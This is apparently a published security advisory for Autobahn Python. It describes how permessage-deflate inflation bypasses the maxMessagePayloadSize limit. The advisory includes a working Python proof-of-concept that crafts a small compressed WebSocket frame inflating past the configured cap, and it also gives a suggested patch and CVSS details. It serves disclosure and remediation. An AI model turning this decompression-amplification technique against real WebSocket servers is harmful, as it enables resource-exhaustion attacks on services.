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Autobahn Python permessage-deflate bypasses maxMessagePayloadSize after inflation

Moderate
oberstet published GHSA-hxp9-w8x3-p566 Jul 17, 2026

Package

pip autobahn (pip)

Affected versions

<26.7.1

Patched versions

26.7.1
pip crossbar (pip)
<26.7.1
26.7.1

Description

Summary

Autobahn Python enforces maxMessagePayloadSize against the compressed WebSocket frame length before permessage-deflate inflation, then delivers the inflated message to application callbacks without a second size check. A client frame that is only 22 compressed bytes can inflate to 4096 bytes and reach onMessage even when the application configured a 128-byte message limit, defeating the resource boundary the option is meant to provide.

Details

The permessage-deflate path installs a PerMessageDeflate instance when the server accepts a client offer in src/autobahn/websocket/protocol.py:3371. The common PerMessageDeflateOfferAccept(offer) path leaves max_message_size at its default None in src/autobahn/websocket/compress_deflate.py:295, and that value is copied into the compressor object in src/autobahn/websocket/compress_deflate.py:723. When a data frame arrives with RSV1 set, Autobahn marks the message compressed in src/autobahn/websocket/protocol.py:1812, calls onMessageFrameBegin with the compressed frame length, and increments message_data_total_length by that pre-inflate length in src/autobahn/websocket/protocol.py:634; the configured message cap is enforced against the same compressed accounting at src/autobahn/websocket/protocol.py:636. Only after those checks does Autobahn inflate the payload in src/autobahn/websocket/protocol.py:1861; because max_message_size is None, src/autobahn/websocket/compress_deflate.py:812 calls zlib without an output cap. The inflated bytes are then passed to onMessageFrameData in src/autobahn/websocket/protocol.py:1882, appended for WebSocket version 13 without adding their inflated length to the message counter at src/autobahn/websocket/protocol.py:667, joined in src/autobahn/websocket/protocol.py:690, and delivered through _onMessage in src/autobahn/websocket/protocol.py:693. This is the same structural boundary mistake as CVE-2016-10544: a compressed-size check is treated as if it bounded the decompressed application message.

Reproduction

import sys
import types
import zlib


if len(sys.argv) != 2:
    raise SystemExit("usage: autobahn_deflate_limit_poc.py <autobahn-python-source-dir>")

SRC = sys.argv[1]


class _Log:
    def debug(self, *args, **kwargs):
        pass

    def warn(self, *args, **kwargs):
        pass

    def error(self, *args, **kwargs):
        pass


class _Timer:
    def call_later(self, *args, **kwargs):
        return self

    def cancel(self):
        pass


txaio = types.ModuleType("txaio")
txaio.make_logger = lambda: _Log()
txaio.create_future = lambda result=None: result
txaio.resolve = lambda future, value=None: None
txaio.reject = lambda future, error=None: None
txaio.add_callbacks = (
    lambda future, callback=None, errback=None: callback(future) if callback else None
)
txaio.as_future = lambda fn, *args, **kwargs: fn(*args, **kwargs)
txaio.failure_format_traceback = lambda err: str(err)
txaio.call_later = lambda *args, **kwargs: _Timer()
txaio.make_batched_timer = lambda *args, **kwargs: _Timer()
txaio.time_ns = lambda: 0
txaio.use_asyncio = lambda: None
txaio.use_twisted = lambda: None
sys.modules["txaio"] = txaio

hyperlink = types.ModuleType("hyperlink")


class _URL:
    @classmethod
    def from_text(cls, text):
        return cls(text)

    def __init__(self, text):
        self._text = text

    def to_uri(self):
        return self

    def normalize(self):
        return self

    def to_text(self):
        return self._text


hyperlink.URL = _URL
sys.modules["hyperlink"] = hyperlink

wamp_types = types.ModuleType("autobahn.wamp.types")


class TransportDetails:
    pass


wamp_types.TransportDetails = TransportDetails
sys.modules["autobahn.wamp.types"] = wamp_types

sys.path.insert(0, SRC + "/src")

from autobahn.websocket.compress_deflate import PerMessageDeflate
from autobahn.websocket.protocol import WebSocketProtocol


class _Factory:
    isServer = True
    requireMaskedClientFrames = True
    maskServerFrames = False
    utf8validateIncoming = True
    applyMask = True
    maxFramePayloadSize = 128
    maxMessagePayloadSize = 128
    autoFragmentSize = 0
    failByDrop = True
    echoCloseCodeReason = False
    openHandshakeTimeout = 5
    closeHandshakeTimeout = 1
    tcpNoDelay = True
    autoPingInterval = 0
    autoPingTimeout = 0
    autoPingSize = 12
    autoPingRestartOnAnyTraffic = True
    logOctets = False
    logFrames = False
    trackTimings = False
    versions = WebSocketProtocol.SUPPORTED_PROTOCOL_VERSIONS
    webStatus = False
    perMessageCompressionAccept = staticmethod(lambda offer: None)
    serveFlashSocketPolicy = False
    flashSocketPolicy = ""
    allowedOrigins = ["*"]
    allowedOriginsPatterns = []
    allowNullOrigin = True
    maxConnections = 0
    trustXForwardedFor = 0
    _batched_timer = _Timer()


class CapturingProtocol(WebSocketProtocol):
    CONFIG_ATTRS = WebSocketProtocol.CONFIG_ATTRS_COMMON + WebSocketProtocol.CONFIG_ATTRS_SERVER

    def __init__(self):
        super().__init__()
        self.delivered = None

    def _onMessageBegin(self, isBinary):
        self.onMessageBegin(isBinary)

    def _onMessageFrameBegin(self, length):
        self.onMessageFrameBegin(length)

    def _onMessageFrameData(self, payload):
        self.onMessageFrameData(payload)

    def _onMessageFrameEnd(self):
        self.onMessageFrameEnd()

    def _onMessageFrame(self, payload):
        self.onMessageFrame(payload)

    def _onMessageEnd(self):
        self.onMessageEnd()

    def _onMessage(self, payload, isBinary):
        self.delivered = payload

    def sendData(self, data, sync=False, chopsize=None):
        pass

    def dropConnection(self, abort=True):
        self.droppedByMe = True
        self.state = WebSocketProtocol.STATE_CLOSED


def masked_compressed_text_frame(payload):
    compressor = zlib.compressobj(zlib.Z_DEFAULT_COMPRESSION, zlib.DEFLATED, -15)
    compressed = compressor.compress(payload) + compressor.flush(zlib.Z_SYNC_FLUSH)
    compressed = compressed[:-4]
    mask = b"\x11\x22\x33\x44"
    masked = bytes(b ^ mask[i % 4] for i, b in enumerate(compressed))
    if len(compressed) <= 125:
        header = bytes([0xC1, 0x80 | len(compressed)])
    elif len(compressed) <= 65535:
        header = bytes([0xC1, 0x80 | 126]) + len(compressed).to_bytes(2, "big")
    else:
        raise RuntimeError("compressed fixture too large")
    return header + mask + masked, len(compressed)


limit = 128
inflated = b"X" * 4096
frame, compressed_len = masked_compressed_text_frame(inflated)
if compressed_len >= limit:
    raise SystemExit("compressed fixture does not pass pre-inflate limit")

proto = CapturingProtocol()
proto.factory = _Factory()
proto.log = _Log()
proto._connectionMade()
proto._perMessageCompress = PerMessageDeflate(
    is_server=True,
    server_no_context_takeover=False,
    client_no_context_takeover=False,
    server_max_window_bits=15,
    client_max_window_bits=15,
    mem_level=8,
    max_message_size=None,
)
proto.state = WebSocketProtocol.STATE_OPEN
proto.inside_message = False
proto.current_frame = None
proto.websocket_version = 13

proto._dataReceived(frame)

delivered_len = len(proto.delivered or b"")
if delivered_len > limit and not proto.wasMaxMessagePayloadSizeExceeded:
    print(
        "AUTOBAHN_DEFLATE_LIMIT_BYPASS "
        f"delivered_length={delivered_len} configured_limit={limit} "
        f"compressed_length={compressed_len}"
    )
    raise SystemExit(0)

print(
    "guarded "
    f"delivered_length={delivered_len} configured_limit={limit} "
    f"compressed_length={compressed_len} "
    f"max_exceeded={proto.wasMaxMessagePayloadSizeExceeded}"
)
raise SystemExit(1)

Impact

A remote unauthenticated WebSocket client can exercise this when the target endpoint accepts permessage-deflate offers and relies on maxMessagePayloadSize as its per-message resource limit. The attack sends a valid masked compressed text or data frame with RSV1 set and a compressed length below the configured frame/message caps; those pre-inflate checks pass, and the default accept-object path also bypasses the optional inflater-level max_message_size cap because it remains None. The user-visible effect is that application handlers may allocate, validate, join, and process inflated messages larger than the configured limit, enabling resource-exhaustion pressure on affected permessage-deflate endpoints. The local artifact demonstrates availability impact only, not confidentiality or integrity compromise.

Suggested fix

diff --git a/src/autobahn/websocket/protocol.py b/src/autobahn/websocket/protocol.py
index 3c060804..4514e3cb 100644
--- a/src/autobahn/websocket/protocol.py
+++ b/src/autobahn/websocket/protocol.py
@@ -1869,6 +1869,17 @@ class WebSocketProtocol:
             if self.state == WebSocketProtocol.STATE_OPEN:
                 self.trafficStats.incomingOctetsWebSocketLevel += compressedLen
                 self.trafficStats.incomingOctetsAppLevel += uncompressedLen
+
+            if self._isMessageCompressed:
+                self.message_data_total_length += uncompressedLen - compressedLen
+                if 0 < self.maxMessagePayloadSize < self.message_data_total_length:
+                    self.wasMaxMessagePayloadSizeExceeded = True
+                    self._max_message_size_exceeded(
+                        self.message_data_total_length,
+                        self.maxMessagePayloadSize,
+                        f"received WebSocket message size {self.message_data_total_length} exceeds payload limit of {self.maxMessagePayloadSize} octets",
+                    )
+                    return False
 
             # incrementally validate UTF-8 payload
             #

Reported by Team Atlanta.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

CVE ID

CVE-2026-77528

Weaknesses

Improper Handling of Highly Compressed Data (Data Amplification)

The product does not handle or incorrectly handles a compressed input with a very high compression ratio that produces a large output. Learn more on MITRE.

Allocation of Resources Without Limits or Throttling

The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. Learn more on MITRE.

Credits